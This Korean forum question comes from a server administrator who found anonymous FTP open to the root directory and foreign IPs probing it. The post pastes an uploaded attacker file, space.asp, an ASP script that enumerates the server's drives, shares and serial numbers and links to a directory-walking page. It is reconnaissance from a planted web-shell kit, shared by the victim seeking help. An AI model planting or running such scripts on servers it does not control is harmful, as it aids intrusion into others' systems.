적수네 동네 - 질문과 답변 [ 게시물 수정 ]

	>> Edit article


			이름
			제목
			패스워드

여느때와 다를바 없는 그런 하루였습니다..
서버에서 netstat를 쳐보니 외국사람으로 보이는 아이피가 4-5개가 서버의 ftp포트를
들여다 보고 있더라구요.. 익명이란걸 확인하고..
뭔가 의심쩍어 제가 익명으로 접속을 했더니..
루트디렉토리로 접속이 되지 뭡니까..
허걱... 재빨리 익명접속을 막았습니다...
 incoming디렉토리에 가보니 이상한것들이 마구 있더라구요..
space.asp라는게 있어서 한번 보니
 <%
&#039;Drive information script by Garet Jax
Response.Write "<html><head><title></title></head><body>"
Response.Write "Server Software: "& Request.ServerVariables("SERVER_SOFTWARE") &" Drive Information for: "& Request.ServerVariables("SERVER_NAME") &" "
Response.Write "<table border=1 cellpadding=3 cellspacing=0 bordercolor=Black>"
Response.Write "<tr><td nowrap>Driveletter</td><td nowrap>Drive Type</td><td nowrap>Volume Name</td><td nowrap>Total Space</td><td nowrap>Available Space</td><td nowrap>File System</td><td nowrap>Serial #</td></tr>"
Set fs = CreateObject("Scripting.FileSystemObject")
Set drv = fs.Drives
For each d in drv 
If d.Driveletter <> "A" Then
If d.IsReady = True Then
freespace = (d.AvailableSpace / 1024)
free = (freespace / 1024)
totalspace = (d.TotalSize / 1024)
total = (totalspace / 1024)
	Response.Write "<tr><td nowrap><A href=&#039;dirwalkR.asp?id="& d.DriveLetter &"&#039;>"& d.DriveLetter &"</a></td>"
	If d.DriveType = 3 Then
		dtype = "Network"
		If d.ShareName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.ShareName
		End If
	ElseIf d.DriveType = 0 Then
		dtype = "Unknown"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 1 Then
		dtype = "Removeable"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 2 Then
		dtype = "Fixed"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 4 Then
		dtype = "CD-Rom"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 5 Then
		dtype = "RAM Disk"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	End If
	Response.Write "<td nowrap>"& dtype &"</td><td nowrap>"& dname &"</td><td nowrap>"& Round(total,1) &" Megabytes</td><td nowrap>"& Round(free,1) &" Megabytes</td><td nowrap>"& d.FileSystem &"</td><td nowrap>"& d.SerialNumber &"</td></tr>"
Else
	Response.Write "<td nowrap>"& d.DriveLetter &"</td><td colspan=6>Drive not ready</td></tr>"
End If
End If
Next
Response.Write "</table>"
Response.Write "</body></html>"
%>
 이런식의 내용이더랍니다..
제가 보기엔 무슨 정보를 알아내는것 같은데..
확실히 무엇인지 모르겠네요..
지금도 몇몇 아이피가 ftp쪽을 건들거리고 있는데
확실한 대처 방법이 없을까요?--항상 좋은하루만 가득되시길:)